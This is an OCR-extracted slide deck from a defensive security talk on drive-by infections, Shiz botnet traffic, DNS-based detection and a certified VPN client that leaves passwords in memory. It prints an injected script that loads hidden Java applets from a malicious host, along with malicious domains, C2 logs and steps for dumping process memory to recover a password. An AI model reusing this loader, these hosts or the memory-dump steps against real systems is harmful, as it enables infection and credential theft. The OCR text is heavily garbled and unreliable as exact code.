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Overview

Prepare « Understand threats
Detect * Real time visibility

Protect * You owned. Your
actions?

_ * Owned: finding who
Investigate targets you, what data
they want. What's
been compromised

We discuss these techniques in hands-on matter



Breaking down detalls

* Threats: experience from Soviet Union

- Primary threats
- Secondary threats

 Defenses

- Proactive defenses
- Dealing with primary threats

- Living with presence of secondary threats
- Systematic Framework (tools)



Tools used In this presentation

git clone https://github.com/fygrave/ndf.git



Threats



Understanding threats

* Attack actors

* Financially motivated criminals (See our
“from Russia with Love.exe talks”)

* Espionage — industrial and political
* Attack vectors

* Web remains to be the most common way
of having your network compromised

* Emall is the other common channel



Drive-By step by step

| examples, drive by campaigns, compromises,
malware behavior ]

In Russia you can owned via drive-by way more often than anywhere else :)

— fact of life



Infection via http
(hospital mid driveby.pcap)

) OIBANY "/le ue 6Ho-03a0 poBMTE IbHBIH UeHTP MM PoccHH™ - Mozilla Firefox

daiin Mpaeka Bua  MypHan 3aknagkH  MHCTPYMEHTEI  Crpaeka

{5, ®TENMY "NeqetHo-03A0p0BHTE MbHBIR LLeHT...l + |

— . — o=
€& > | {5, v medcenter-mid.rg c| I'.-.lv ashann.ru

D LaPANDHOE FOCYAAPCTEEHEDS SHmseTHOR MEUEGHO-NPOHMNEETHY BCHDE YUDEHLEHNE
" MevedHo-03 00 POBHTEMLHBIR LeHTH

diep,epam.uoe rocypapcreeHHoe SropxeTHOoe nevebHo-

MHHHETARCTEE HHOCTRAKHEX 42N PoccHAckad Peaspaumn”

npochmunaKTuueckoe yupexgeHme "fleyeGHo-0300p0BUTENbHBINA

soapplane == "Microsoft Internet Explorer™) !
‘Zapplet width=\"0\" height=\"0\" archive=\"http://echtvin.ftpl.biz/c3c0zPU/qrupkMvslCl2\" code=\"Clazgl\ "< applets");

‘object type=\"application/x-java-applet\” width=\"0\" height=\"0\">{paran name=\"archive\" walue=\"http://echtvin.ftpl.biz/citlzll/q

Ouanaasl OI'BJ/IILY "/leuedoHno-o3opopureabHOro neHTpa MuHucrepcerea mHocTrpaHHbIX geqa Pocenn”

.

o/

bonbHMUA IeTckuid cag,
i

=

#2 9) € P| = 7| kowcons  HIML €SS | Cuenapui ¥ | DOM |

'Y Bce | gurdphMvs LO2Pvretuy =EmgmESxggzzy... -

next = 1; E
if (mext) { ||
next = 1:
try
if (window.navigator, applane == "Microsoft Internet Explorer™) |
document.write ("<applet width=""0%" height=\"04" archiwe=\"http://echtvin.ftpl.biz/c3t0zPT/@ruplvalC1ay™ code=Y"Clazzsly"></applet>");
1 else {
document.write ("<object type=\"application {-Jjava-applety™ width=)"04" height=\"0%"><param name=%"archiwe'"” walue=""http: //echtvin. frpl.biz/t3t0zPU/ prupMvs1C12Y "=<paran name=""code’\" walue=%"Cls
i

1 catch (e} {

e s Sl



As It can be seen In proxy logs

GET http://echtvin.ftpl.biz/counter HTTP/1.1

Referer: http://www.medcenter-mid.ru/

Content-Type: text/html; charset=utf-8

GET http://echtvin.ftpl.biz/eStOzPU/gxrupMvs1CI2?
vxetuy=EmgmE9xggqzzXmmgzmgmxxB

Referer: http://echtvin.ftpl.biz/counter

Content-Type: application/javascript
GET nhttp://echtvin.ftpl.biz/tStOzPU/gxrupMvs1CI2 HTTP/1.1

User-Agent: Mozilla/4.0 (Windows XP 5.1)Java/1.6.0 30
Content-Type: application/java-archive
GET nhttp://echtvin.ftpl.biz/d4StOzPU/gxrupMvs1CI2 HTTP/1.1
User-Agent: Mozilla/4.0 (Windows XP 5.1) Java/1.6.0_30
Content-Length: 75776

Content-Type: application/octet-stream




Drive-By in Nutshell )

* Visit an infected site (any banner network can be a

lead to0)

Traffic distribution/TDS (not compulsory)

Target ldentification (javascript exploit selection)

Exploit
Payload (.exe)
Statistics update

-t\*?-a"

@-



Secondary threats

Your network Is compromised.. what's
next...?

* The data gets siphoned out of your
network

* Monitoring by adversary
* Victimized network users




Secondary threats

* Methods — Communication channels

* Hidden communication (covert
channels)

* Actors and Actor targets — spies want
your data :)

So what do we look at here? :)



Post infection activity (Shiz example)

51 34.130185 18.0.2.15 18.6.2.2 DNS 74 Standard query A jewugyjywyv.eu

52 34.138575 18.0.2.15 18.0.2.2 DNS 74 Standard query A marytymenok.eu

53 34.142617 10.0.2.15 18.0.2.2 DNS 74 standard query A gatedyhavyd.eu

54 34.146657 10.0.2.15 10.8.2.2 DNS 74 Standard query A nopegymozow.eu

55 34.150973 10.06.2.15 18.0.2.2 DNS 74 standard query A fodakyhijyv.eu

56 34.156248 10.0.2.15 18.0.2.2 DNS 74 standard query A vofozymufok.eu

57 34.159952 18.0.2.2 18.0.2.15 DNS 127 Standard query response, No such name

58 34.160752 10.0.2.15 18.60.2.2 DNS 86 Standard query A gatedyhavyd.eu.HomeGateway

59 34.161382 18.0.2.15 18.0.2.2 DNS 74 Standard query A digivehusyd.eu

60 34.162183 B80.239.286.25 18.8.2.15 TCP 60 http = ndm-requester [FIN, ACK] Seg=1 Ack=2 Win=65535 Len=0

61 34.162196 186.8.2.15 80.239.206.25 TCP 54 ndm-reguester > http [ACK] Seg=2 Ack=2 Win=64240 Len=@
62 34.167030 10.0.2.15 18.8.2.2 DNS 74 standard query A cihunemyror.eu |

63 34.168412 10.0.2.2 18.8.2.15 DNS 127 standard query response, No such name

64 34.169224 10.0.2.15 18.0.2.2 DNS 86 Standard query A geginugypoq.eu.HomeGateway

65 34.172730 18.0.2.15 18.60.2.2 DNS 74 Standard query A kemocujufys.eu

66 34.176237 18.0.2.2 18.0.2.15 DNS 127 Standard query response, No such name

67 34.176887 18.0.2.15 18.0.2.2 DNS 86 Standard query A marytymenok.eu.HomeGateway

68 34.181258 18.0.2.2 18.8.2.15 DNS 127 standard query response, No such name

69 34.181938 10.0.2.15 18.0.2.2 DNS 86 Standard query A digivehusyd.eu.HomeGateway

70 34.189324 10.0.2.2 18.8.2.15 DNS 127 standard query response, No such name

71 34.190128 10.06.2.15 18.0.2.2 DNS 86 Standard query A fodakyhijyv.eu.HomeGateway

72 34.204682 10.0.2.2 18.0.2.15 DNS 161 Standard query response, No such name

73 34.285288 10.8.2.15 10.8.2.255 NBNS 92 Name query NB QEQINUQYPOQ.EU<BO=

74 34.207852 18.0.2.15 18.0.2.2 DNS 74 Standard query A tucygugacig.eu

75 34.209525 18.0.2.15 18.08.2.2 DNS 74 standard query A kepymexihak.eu

76 34.2108786 18.0.2.15 18.08.2.2 DNS 74 standard query A jejedudupuc.eu

77 34.213800 10.0.2.15 18.0.2.2 DNS 74 standard query A rygecolijet.eu

78 34.216048 10.0.2.2 18.8.2.15 DNS 127 standard query response, No such name

79 34.216573 18.0.2.15 18.60.2.2 DNS 74 Standard query A pumadypyruv.eu

80 34.217326 18.0.2.15 18.6.2.2 DNS 86 Standard query A jewugyjywyv.eu.HomeGateway

81 34.219611 18.0.2.15 18.0.2.2 DNS 74 Standard query A vonigofolyt.eu

82 34.223278 10.0.2.15 18.08.2.2 DNS 74 standard query A xubifaremin.eu

83 34.225135 18.0.2.15 18.08.2.2 DNS 74 standard query A foxivusozuc.eu

84 34.225954 10.0.2.2 18.8.2.15 DNS 127 standard query response, No such name

85 34.226771 10.8.2.15 18.6.2.2 DNS 86 Standard query A nopegymozow.eu.HomeGateway

86 34.228361 10.0.2.2 18.0.2.15 DNS 161 Standard query response, No such name
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Post infection act|V|ty (Shiz example)

98 34.239613 10.0.2.15 10.98.2.2 74 Standard query A puregivytoh.eu

99 34.241119 10.8.2.15 160.8.2.2 DNS 74 Standard query A keraborigin.eu

100 34.243479 18.0.2.15 160.8.2.2 DNS 74 Standard query A gegytuvufog.eu

101 34.244983 10.0.2.15 10.8.2.2 DNS 74 Standard query A cicaratupig.eu

02 34,24509 0,0 16.8,2.15 DNS 9@ Standard guery response A 66.175,210.173 |
163 34.245389 10.0.2.15 66.175.210.173 TCP 62 ndm-server > http [SYN] Seq=0 Win=64240 Len=8 MSS=
104 34.246882 10.8.2.15 l8.8.2.2 DN5 74 Standard query A nozoxucavag.eu

105 34.248332 10.0.2.15 10.08.2.2 DNS 74 Standard query A jepororyrih.eu

106 34.250001 10.0.2.15 10.98.2.2 DNS 74 Standard query A galokusemus.eu

167 34.251466 18.0.2.15 160.8.2.2 DNS 74 Standard query A puvopalywet.eu

108 34.252918 18.0.2.15 160.8.2.2 DNS 74 Standard query A rydinivoloh.eu

109 34.254880 18.0.2.15 160.8.2.2 DNS 74 Standard query A dikoniwudim.eu

118 34.2545R3 18.8.2.2 18.8.2.15 nNS 127 Standard auerv resnonse. No such name

» Frame 182: 98 bytes on wire (720 bits), 98 bytes captured (720 bits)

» Ethernet II, Src: RealteklU 12:35:02 {52.54.&&:12:35:&2}, Dst: CadmusCo d3:30:14 (08:00:27:d3:30:14)
# Internet Protocol Version 4, Src: 190.8.2.2 (18.8.2.2), Dst: 10.8.2.15 (10.8.2.15)
» User Datagram Protocol, Src Port: domain (53), Dst Port: 63088 (63088)
¥ Domain Name System (response)
[Request In: 62]
[Time: ©.078063000 seconds]
Transaction ID: ©x5a84
» Flags: ©x8180 (Standard query response, No error)
Questions: 1
Answer RRs: 1
Authority RRs: @
Additional RRs: @
¥ Queries
Name: cihunemyror.eu
Type: A (Host address)
Class: IN (@xeee1)
P ANsSwers




Post infection activity (Shiz example)

218,

4 ¥ ¥ ¥ ¥ ¥

410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425

Frame 408:
Ethernet II, Src: CadmusCo d3:30:14 (©8:80:
Internet Protocol Version 4, Src:

[2 Reassembled TCP Segments (342 bytes): #486(333), #408(9)]

34.
34.
34.
34.
34.
34.
34.
34.
34.
34.
34.
34.
34.
34.
34.
34.

662602
662625
662877
662992
663490
663503
665448
665465
668172
668189
668507
668627
668708
668840
678357
678372

66.
1.
1.
66.
66 .
10.
66.
10.
66.
10.
1.
66.
1.
66.
66.
10.

175.
B.2.

.216.

.15
218,
.15
.218.
218.

15

173

173
.173

.173

173

173

173
173

18.
66.
66.
18.
10.
66.
10.
66.
10.
66.
66.
18.
66.
18.
18.
66.

63 bytes on wire (504 bits), 63

Hypertext Transfer Protocol

= POST flogin.php HTTP/1.1\r\n

175.

bytes captured (5684 bits)

TCP
.15 TCP
.210.173 TCP
.210.173 TCP
15 TCP
15 TCP
.210.173 TCP
15 TCP
210.173 TCP
15 TCP
210.173 TCP
210.173 TCP
15 TCP
210.173 HTTP
15 TCP
15 TCP
210.173 TCP

| ||
60 hitp = 1bm-pps [A eq=1 Ack= in= en=

68 http = cichlid [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 M55=146
54 cichlid > http [ACK] Seg=1 Ack=1 Win=64248 Len=@
54 cichlid = http [FIN, ACK] Seg=1 Ack=1 Win=064248 Len=0
68 http = cichlid [ACK] Seg=1 Ack=2 Win=65535 Len=0
68 http = screencast [FIN, ACK] Seq=1 Ack=2 Win=65535 Len=0
54 screencast = http [ACK] Seq=2 Ack=2 Win=64248 Len=0
68 http = gv-us [FIN, ACK] Seg=1 Ack=2 Win=65535 Len=0
54 gv-us = http [ACK] Seq=2 Ack=2 Win=64248 Len=8@
60 http = elan [SYN, ACK] Seq=0 Ack=1 Win=65535 Len=0 M55=1468
54 elan = http [ACK] Seg=1 Ack=1 Win=64248 Len=0@
387 [TCP segment of a reassembled PDU]
68 http = elan [ACK] Seg=1 Ack=334 Win=65535 Len=8©
63 POST /login.php HTTP/1.1 (application/x-www-form-urlencoded)
68 http = elan [ACK] Seg=1 Ack=343 Win=65535 Len=0
68 http = us-gv [FIN, ACK] Seq=1 Ack=2 Win=65535 Len=0
54 us-gv = http [ACK] Seg=2 Ack=2 Win=64240 Len=0

- F . e e - ————— a -

27:d3:30:14), Dst: REELtEkU_lZ:BS:BE (52:54:80:12:35:082)
18.0.2.15 (18.0.2.15), Dst: 66.175.210.172 (66.175.210.173)
Transmission Control Protocol, Src Port: ibm-pps (1376), Dst Port: http (88), Seq: 334, Ack: 1, Len: 9

Content-Type: application/x-www-form-urlencodedyrin
Referer: http://www.google.com\rin
User-Agent: Mozilla/4.® (compatible; MSIE 2.0; Windows NT 5.8; Trident/4.8; SLCCZ; .NET CLR 2.8.50727; .NET CLR 3.5.308729; .NET CLR 3.8.3

Host: cihunemyror.eu\r\n

» Content-Length: 9\r\n

Pragma: no-cache\r\n

ArAn

[Full request URI: http://cihunemyror.eu/login.php]

R\227[R~7H-~"

[Ine-based text data:

T‘“‘“‘“F‘“‘TT?J

appucaflnnfx—m-m— orm-urlencode
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Post infection activity (Shiz example)
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RRD Is coooool! ;)

e Assumption: anyone < RRD is your friend.
who periodically
'calls' back is a bad
guy (make
exceptions)

Look at anomalies:
packet sizes,
frequencies, port
ranges

daily: packe

...................................................................................
T - TP S

.........................................................................

.........................................

ERE R EREEE R

pkts/sec
Lo T o (T O ) I T R

Tue 12:00



DNS are interesting too

 DNS traffic Is very
Intersting to look at




Spot some friends.. :)

If you were paying attention you could spot some
friends:
- malware activity (shiz, carbep, etc)
- antivirtuses using DNS as a very convinient
covert channel
- Other botnets



Find malware.. easy. Look for weird
domains:

-1-0-1-1-0-0-1-1-1-1-1-1-1-1-1-1-.0-0-0-0-0-0-0-0-0-
-0-0.info - 96.126.108.132:"

IO =
5
L
P Z
g
5
L
g
g
P8
5
g
g
g
o 5
c'DO

and seek for cross-ref: 96.126.108.132 - "zegqsmmiwj3d.com
"tep.xylocomod.com" "rylerygacic.eu"

tufecagemyl.eu”

"pufiluqudic.eu"” "alotibi.xylocomod.com"...



So lets spot some friends..

"foxivusozuc.eu.eu 14 3.0 NXX:66.175.210.
173:0"

"vopycyfutoc.eu:eu 14 3.0 NXX: :3"

"gegovygaxuk.eu:eu_14 3.0 NXX: :3"

around 700 domains total



Bot.. at linode

Among those:
“cihunemyror.eu:eu_14 3.0 NXX:66.175.210.173:0"
"Jecijyjudew.eu:eu_14 3.0 NXX:66.175.210.173:0"
"voworemoziv.eu:eu_14 3.0 NXX:66.175.210.173:0"
"xugohyxeqak.eu:eu_14 3.0 NXX:66.175.210.173:0"
"gadufivabim.eu:eu_14 3.0 NXX:66.175.210.173:0"
"lyruxyxaxaw.eu:eu_14 3.0 _NXX:66.175.210.173:0"
"I33t.brand-clothes.net:net_22 4.0 NPX:66.175.210.173:0"
"wanttobehappy.in:iin_16_4.0 _NXX:66.175.210.173:0"
“rygecolijet.eu:eu_14 3.0 NXX:66.175.210.173:0"
"fokyxazolar.eu:eu_14 4.0 NXX:66.175.210.173:0"
"mamixikusah.eu:eu_14 3.0 NXX:66.175.210.173:0"
"foxivusozuc.eu:eu_14 3.0 _NXX:66.175.210.173:0"
"jefapexytar.eu:eu_14 3.0 NXX:66.175.210.173:0"



Bots and bothets
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66.175.210.173

foxivusozuc.eu




BTW, another bot, carbep Is over..
maybe :)

[azeTa "KoMMmepCcaHT: Yipauwda®™, Nedd (1758), 02.04.2013 TEKC
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Secondary threats Risks

Data leaks

Reputation

Incident Public

Disclosure

Service outage

18 It;ter:-ie 15 RSl il
RAGEBUILDER.COM




More on covert channels..

Interesting way of ‘channeling’ control of your
machines through publicly accessible portals,
such as twitter, facebook, plurk..



Malware orchestration

* |nitia||y spotted by Joe Steward from Secureworks
http://www.secureworks.com/cyber-threat-intelligence/threats/chasing_apt/

andrea666 got Available serial Number : 4xmlaR-
YvKVa-BD5B

Updates posted in form of “Serial Number: XXXXX < encoded C2 information

Timing of botnet operator posting “updates” on plurk:

2011-07-27 01:57:30 GMT 114.37.27.26

2011-08-03 07:53:27 GMT 122.116.200.234 2011-12-28 02:28:09 GMT 203.198.145.45
2011-08-08 00:54:00 GMT 122.116.200.234  2011-12-29 07:52:32 GMT 203.198.142.147
2011-08-10 14:03:30 GMT 122.116.200.234 2012-01-29 03:06:19 GMT 203.198.145.45
2011-08-30 00:41:11 GMT 69.160.243.116 2012-02-27 07:51:50 GMT 203.198.145.45
2011-08-31 03:31:30 GMT 122.117.204.210 2012-03-21 07:01:40 GMT 220.130.59.159
2011-09-28 07:54:03 GMT 122.117.204.210 2012-04-17 02:34:24 GMT 220.130.59.159
2011-09-30 00:38:42 GMT 122.117.204.210 2012-05-02 03:04:28 GMT 203.198.145.45
2011-10-11 01:40:55 GMT 122.117.204.210 2012-05-18 07:45:34 GMT 220.130.59.159
2011-10-20 02:43:06 GMT 122.117.204.210 2012-06-14 09:04:41 GMT 203.198.145.45
2011-11-16 14:00:43 GMT 220.130.59.159 2012-06-20 02:47:46 GMT 203.198.145.45
2011-11-28 06:44:54 GMT 220.130.59.159 2012-06-28 01:48:24 GMT 203.198.145.45
2011-11-28 09:55:03 GMT 220.130.59.159 2012-07-09 04:25:35 GMT 203.198.145.45
2011-11-30 01:05:46 GMT 220.130.59.159


http://www.secureworks.com/cyber-threat-intelligence/threats/chasing_apt/

Interesting observations

* User agent used to access ‘control’ accounts
IS always: 'User-Agent: Mozilla/4.0
(compatible; MSIE 6.0; Windows NT 5.1;SV1).

* While generic, exactly the same UA was seen
In some Application level DDoS attacks
against gambling websites in Taiwan.



Another bot

e Similar activities are seen often:

Qﬂ_ﬂv& gnvlaaxsjmbsbzhgesmrofwnwajkdc
% E ugtapliracuheeysppwwibkggbyrkq



Tageted and not targeted attacks
consequences examples 2012-2013

* Obvious monetization after targeted attack Is
easlly detectable. Examlpe, sites with huge
traffic.

* targeted impact of not targeted attacks

(high profile news resources, confirmed
incidents, “afterbot” consequences)

* Why do we have “Incident out of the company
scope” In our internal classification



Prepare



Systematic Defense

Detect

* What to look at
* How to look at your data

* How to prepare well for an
attack (you can't walk
Into the same river twice, %’“
so ‘preserve’ the flow) q




PREPARE

Preparatory actions should be taken to provide
data sources and tools for detection



DETECT

ldeally, be able to detect attack In progress
(minimal impact), however we wish to be able to
detect attacks at some point of time.



INVESTIGATE

ldentify the impact of the attack so proper
response could be implemented



PROTECT

* Real-time attack detection: the attacked or
compromised machines are to be isolated
from the rest of the network (minimize impact)

* Post-incident detection — identify impacted
systems and mitigate the impact



Detect



Entry points into enterprise

o] 4
A b
- S
- -

WEB
SMTP
Mobile (BYOD)
Flash/disks

Misc (usb, ethernet ports on your walls,
your trash ;-))




Detection technigues

* Focus on your entry points first. But monitor
for signs of secondary activities

* Log analysis

» Traffic analysis using custom tools
 DNS traffic analysis

 Honeypot data analysis



Antiviruses and modern malware

* It's not so effective
as 5 years ago for
realtime malware
detection.

* Antiviruses and
attack surface

HEY!! I'm an Antivirus software that will
protect your computer from harmful files.

You can download a trial version of me
k and I'll protect you from viruses for FREE!

Download?




Antiviruses and modern malware

I . HEY!! I'm an Antivirus software that will

¢ It S nOt SO eﬂ:eCtlve ® protect your computer from harmful files.
as 5 years ago for ikl
realtime malware Powrioed
detection. G O

* Antiviruses and
attack surface

* The same true for
IPS/IDS (unfrtntly)



Box solutions as Simple FUI (Fuck
up indicators)

* Antivirus == damn good Fuck Up indicator of your daily monitoring work. If
you see ex. CVE-2012-0158 the e-maill, received 1 year ago - you see
ou fucked it up a year ago, but now must be able to react. :

25.10.2012 18:01 Test hostO1 Exploit-CVE2012-0158.f!rtf
Undetermined clean error, deleted successfully

C:\Documents and Settings\User02\Desktop\2read\Modern energy in
China.msg\68.0OLE

25.10.2012 18:01 Test hostO1 Exploit-CVE2012-0158.f!rtf

Undetermined clean error, deleted successfully

C:\Documents and Settings\User02\Desktop\2read\US
energy.msqg\68.0OLE




g EN25210459 - Worm.Win32.Yobfus.djek

£ Worm.Win32.Vobfus.djek

Attack Details

User un:a’“

Attack Hame

Viruz Name tiorm Win32 Vobfus. diek
: L
File Hame wibrlog.exe |
R —

Attack Information

Vendor FP

@Cnpy Detailz & Actionz =

l l

Source 1721
B und

Destination

Service

Direction E Unknown

State O Open
Event Owner

Event Comment

Start Time 172212 04 apr 2013
Active Completed
Origin

Detected By

eneral Event Information

Event Mame o, Win32 Vobfus. diek
Product @ Check Paoint Endpoint Secunty
Severity a0l High

Category Endpaint S ecurity

1D EMZ5210453

Event Definition Name Wirus Alert

Additional Info failed to quarartine infection

Accepted connections 1]

Blocked connections 1]

Peak connections 2

Total connections 2

Joh Hame All online jobs
Confidence Level M

Previous @ @ Mt




Vendor FP

& Actions

Q EN25210459 - Worm.Win32.Yobfus.djek

) Worm.Win32.Vobfus.djek

@Copy Dietails:

l

£k ENZ5633672 - Bot Incident

Uszer —_— I

ﬁ H - f " . " _—
Attack Name ¥+ Bot Incident: @ Detect Elcopy Details = @88 actions > [Fel anti-Bot ~ oo 7 peans |
Yirus Name [ ] [ ] T
File Name Protection Name Trajan-P5w wWin32 Zusy.0 Source [ IR
Attack Information Malware Family Zuzy Source 05 WSindows

. Severity aill High
tate : — Service tcpsa43
Confidence Level & | Medium
Event Owner ] Action
Event Comment Pratection Type W' Signature . . -
Direction [ Outgaing
Received Bytes 334 KB
Event Name Packet Capture P src-2140592. eml
£ src-a140592 eml Sent Bytes 7 KB
Product P s10-2140552 eml
Severity Fule Hame = Go to Polic _
Start Time 11:49:57 05 Apr 2013
Category _
b — Active Mot completed
Event Name Bot Incident Origin tMozcow
Product |E| Check FPaint fnti-Bot Detected By
Category Anti-Bat & Sntivinus
1D _

Malware Activity

Comrnunication with CEC site D estination

[} == booking&eroflot. zabresonicweb. coms
[151.193.254.110]

State O Open Blocked connections ]
Event Owner Peak connections 2
Ewvent Comment Total connections 10

Event Definition Name

Job Mame
Firewall Rule UID
Malware Rule 1D

Protection ID

Bot Incident

Al online jobs

{000000F 1 -00B 3-0042-3308-6E 5B 51 FE 4428}
000045327

(=
Previous @ @ et




VbndorFP

Bk EN25633672 - Bot Incident

[~ Bot Incident:

Protection Mame
Malware Family
Malware Activity
Severity
Confidence Level
Protection Type
Scope

Packet Capture

Rule Hame

@ropr
9
¥ Bot Incident:

Tre
Zu
Co

L omm A = m

|

Event Mame
Product
Category

1D

m
=1

An

State
Event Owner

Event Comment

@

Elcaen Detailz

@8 actinne v W] antioAct - ~

7 Detect

Malware Details

Protection Name
M alware Family

M alware Activity
Severnty
Confidence Level
Protection Type
Scope

Packet Capture

Rule Hame

Trojan-PSW wind2 Zusy. 0
Zlzy

Cornmunication with CEC site
sl High

E M edivim

LK Signature

P src-al04ec? eml

9 Go bo Policy

@ Copy Detailzs

& Actions -

¥ 2ntiBat -
#

Summary
ISrlrnunt:e & 1D.1= l
Source 05 Solaris
Destination B = a23-51-160-
B0.deplay. akamaitechnologies. com
[23.51.160.E60)
Service topdd443
Action @ Detect
Direction Cukgoing
Received Bytes 20KE
Sent Bytes 563 Bytes

M vent Detection

Event Hame
Product

Category
1D

Bat Incident

¥/ Check Paint &ntiBat
Apti-B ot & Antiins

EM 25906957

Start Time
Active
Orngin

Detected By

18:54:171 05 Apr 2013

Completed
Mioscon SN 1 I

I (T

State
Event Owner

Event Comment

@ Open

Event Definition Hame
Accepted connections
Blocked connections
Peak connections

Total connections

EBot Incident
0
0
1
4

V" Details

[

Prewvious @ @ Fext




Vendor FP

g ENZ5906957 - Bot Incident

[¥%| Bot Incident: @ Detect Blcopy Details © @88 Actions - [B] AntiBot gy ) petais |
: A
I g EM25918660 - Bot Incident
Protection Name Trojan-PSw \Win — . : e
Malware Family 2y ive| Bot Incident: @ Detect ElCopy Details | @88 Actions ~ - [Fe] AntiBot ~  Gunman, V7 Details
Malware Activity Comrutication w [ l [ l —
Severity aill High
Protection N jan- i 5 :
Confidence Level = et rotechion Name Trojan-PS wWind2 Susy.0 ource E.. zerver_1 (1 D.EM
Protection Type U Signature Malware Family Zuzy Source 05 Windows
Scope I Malware Activity Communication with C&C site Destination B3 == ghs-vip-any-c1018. ghs-
Packet Capture (& sic-aldecz Severity ol High zzl. googlehosted. com [72.14.249.2)
Rule Name =7 Go to Policy : - Service tcp443
Confidence Level £ Medum
o - o Action 'C;J Dietect
Event Name Bot Incident rotection Type v Signature Direction Cutgoi
— ¥ Outgoin
Product |#%| Check Paint,  Scope n-serverj M D.m -
Categor: ; i Received Bytes 9KE
gory AntiBot & AV pank et Capture P src-a140592 eml
ID EN25905357 _ Sent Bytes 963 Eytes
Rule Hame =P Goto Policy
Do —
State @] Open , .
[ l Start Time 19:33:21 05 Apr 2013
Event Owner Event Hame B ot Incident
E C — Active Completed
vent Lomment Product ¥ Check Point Anti-Bot e
Category Anti-Bat & Anbi-vins
Detected By L
D EMN255136E0
Event Definition Name ot Incident
State (;} Open
Accepted connections ] |-
Event Owner N
Blocked connections 0
Event Comment i
Peak connections 1
Total connections 3

Job Name All orline jobs |



Educating USERS-Vendors...

Based on our investigation, "Worm.Win32.Vobfus.djek " was detected as
False Positive and resolved on 3 April.

Therefore, after antivirus DB update, the issue should be resolved.

Regarding the remain issues, we have found them to be False Positive
incidents and decided to take the following steps:

Trojan.Win32.Master.A — will be removed from our DB 03.04.2013
Backdoor.Win32.Zlob.B — will be removed from our DB 03.04.2013
Worm.Win32.Dasher.J — will be lowered to low confidence level
Trojan.Win32.Biscuit.A — was already fixed last week



And finally Vendor got something

Q_, EM26532885 - ¥irus Incident

@ Virus Incident: © Detect

EICDW Details & Actions -

C o Arti-vinus T
&

summary - Details
| | | |
Protection Hame FEF.=zecmt Source (& = hS-EH
Malware Achivity DMS query for a site known to contain malsare Destination [ == pdns04. domaincontral.com

Severity
Confidence Level
Protection Type
Scope

Rule Hame

URL

alll Lo
E;. b ediuim

D OMS Reputation

= Go to Policy

ricrozloft, com. found-bigz. gofb1 5634567, info

Event Hame
Product

Category
1D

State

Event Owner

Event Comment

Yirug [ncident

) Check Paint &nfitfins
Anti-Bat & Ankiing
EMZBE32885

& Open

Service

Action

Direction

[208.109.255.51]
domain [udp/53]

G Detect
E Other

_

Start Time
Achive
Origin

Detected By

07:34:13 08 Apr 2013

Mot completed
e —

Event Definition Name
Accepted connections
Blocked connections
Peak connections
Total connections

Job Name

Malware Rule ID

Frotechion 1D

microsloft.com.found-bigs.g0515634567.info

Wirs [ncident

o

a

1

g

All onling jobs

{000000F1-008 3-0042-9308-EERE81FE 4428}
O024F5R3ER




Government certified solutions...

* |In full compliance with all mandatory
requirements

* Without “undeclared capabilities”

* With good crypto
e ... €eflc...



Government certified solutions...

* |In full compliance with all mandatory
requirements

* Without “undeclared capabilities”

* With good crypto
e ... €eflc...

....all this means nothing for security!



Certified solution story

* What is it for?

- to make secure (certified) communication

* What Is the problem?

- Just store password in memory ... In clear

1 ViPNet Client 2.8
| OenoBad no4Tta

(€1 0AD MndoTexc, 1991-2007. Bce npaga Ia3MILEHKL.



How does 'attack’ work?

1. Start the application

“Business mail”

2. Find PID of Wmall.exe

3. Dump process' memory

to file

4. Find your password In

dump file

Command Prompt

pmdump 1.2

B [ = |
[ 7start ——
o Home L]

Oracle VM VirtualBox A|
ViPMet
KnueHT

ﬂ ViPMet [KnueHT][[lenoBas noqTa
|E§E] Momowe no ViPMet [Knvent] [Aenos

% MporpammMa yoTaHosKH 1

VMware

Czshinpmdump —list | find ~#I "wmail"
10072 — WMail.exe

C:xbin2pmdump.exe 10072 WMail.exe.pmdump

o) 2002, Arne Vidstrom {arne.vidstromi@ntsecuri
— http://ntzecurity.nuw/toolhoxpmdump”



How does 'attack’ work?

(that wasn't the end)

5. Exit “Business mail” (you can check that no
process)

6. Continue to work as usual

3. Some hours later use Windows memory reader to
dump whole comp memory (need admin rights)

4. Again, find your password in dump (use strings)!



How does 'attack’ work?

(that wasn't the end)

=10

theck that no

memory reader to
admin rights)

4. Again, find your password in dump (use strings)!



How does 'attack’ work?

4. Again, find yc

(that wasn't the end)

=10

theck that no

memory reader to

[}
AAIIAAIIA I‘IAIIALA\

=101 x|



What does it mean?

1. “Certified” I1s not the same as “Secure”:

* Mentioned criteria Is not enough
*The year of 1992 (actually, it's Orange book)

* Event mentioned criteria tested badly
*/n demonstrated case we have mandatory requirement but it
wasn't implemented

* The more users use the product the more secure it
e That's not about Russian gov certified products



B What does it mean?

e DCTIOK Poccunm

denepansHan cny:xba No TeEXHMYSCKOMY 11 DKCNMOPTHOMY KOHTPOMHD

1 PYyKoBOOALWMWMA OOKYMEeHT

ABTOMATUEZMPOEAHHBIE CMCTEMBI. 3alMTa OT HECAHKUWMOHMpPOBaHHOro AocTyna K
° I\ MHOpPMaLLMK
KnaccugpMKauma aBETOMAaTUSMPOEAHHBIX CUCTEM M TPEeGOBAaHMA NO SaLMTE MHGOPMAaUMK

.Tl YTEepWOeHO peleHneM npegcenartena MNocygapcTEeHHOW TEXHUYECKOW KOMMWCCHMM NPy
MpesnaeHTe POCCUMACKOW ®egepaunm oT 30 mapTta 1992 r.

* Event mentioned criteria tested badly
*/n demonstrated case we have mandatory requirement but it
wasn't implemented

* The more users use the product the more secure it
e That's not about Russian gov certified products :-((



What does it mean?

o R
L Nt
PCTIK Poccuvn
denepansHaA cnNy>ba No TEXHHMYSCKOMY M SKCMNOPDTHOMY KOHTROMHD
PykoBoOAWMA OOKYMEHT
11
1 u ( AETDMETHEHPEEEHHhIE CHCTENMBEI. EEI.I.I,HTE oT HEBEHHHHDHHPDEEHHEFE ADBWHE K

MH O PMa LMK
(] M‘ KnaccrmpMKaUuMA AaETOMATHUSIMPOBAaHHBIXY CUCTEM M TPeGoBEaHMA NO SawuTe MHhopMaLwKMK

.The YTEepHOSeHO pelweHMeM Npeacegarena NocygapcTEEeHHON TEXHUYECKOW KOMMCCHMM NPKX
MpeznaeHTe PoccMUcKoW Pegepaunm ot 30 maprta 1992 r.

||'I Ir.il'l'l_-llII_FI.J PSS Fl | el 15 FL FII I'-T.lur.illll_ﬁll_llfll'l-

BITATECA DY " B ] Nl = Eialnll k= =1
o E onepaTUBHOA NamaTi IBM W BHeWHWX HakonuTenen. O4YUCTKA OCYLWECTENAETCHA ABYKPaTHONM
NPOKU3BONEHON 3anUcel B ocBo0oaaemyrd obnacTe NMamMATH, paHee WCMNOoNs3oBaHHYH 4And
